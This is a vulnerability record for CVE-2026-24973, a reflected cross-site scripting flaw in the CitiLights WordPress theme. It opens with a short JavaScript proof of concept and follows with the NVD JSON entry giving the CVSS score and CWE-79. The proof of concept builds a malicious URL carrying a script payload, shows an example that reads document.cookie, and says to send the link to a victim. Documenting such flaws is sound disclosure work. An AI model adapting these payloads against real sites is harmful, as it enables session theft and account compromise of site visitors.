CVE-2026-24973

// Proof of Concept for CVE-2026-24973 // The vulnerability allows Reflected XSS via improper input neutralization. // Attackers construct a malicious URL containing a script payload. // Example payload: // <script>alert(document.cookie);</script> // Step 1: Encode the payload to be URL safe var payload = "<script>alert('CVE-2026-24973_PoC');</script>"; var encodedPayload = encodeURIComponent(payload); // Step 2: Append to the target URL (assuming a vulnerable parameter exists) // Note: The actual parameter name depends on the theme's implementation. var targetUrl = "http://example.com/?vulnerable_param=" + encodedPayload; // Step 3: Send the link to the victim console.log("PoC Link: " + targetUrl); // When the victim clicks, the script executes in their browser context.

{"cve": {"id": "CVE-2026-24973", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:39.370", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NooTheme CitiLights noo-citilights allows Reflected XSS.This issue affects CitiLights: from n/a through <= 3.7.1."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en NooTheme CitiLights noo-citilights permite XSS Reflejado. Este problema afecta a CitiLights: desde n/a hasta &lt;= 3.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/noo-citilights/vulnerability/wordpress-citilights-theme-3-7-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}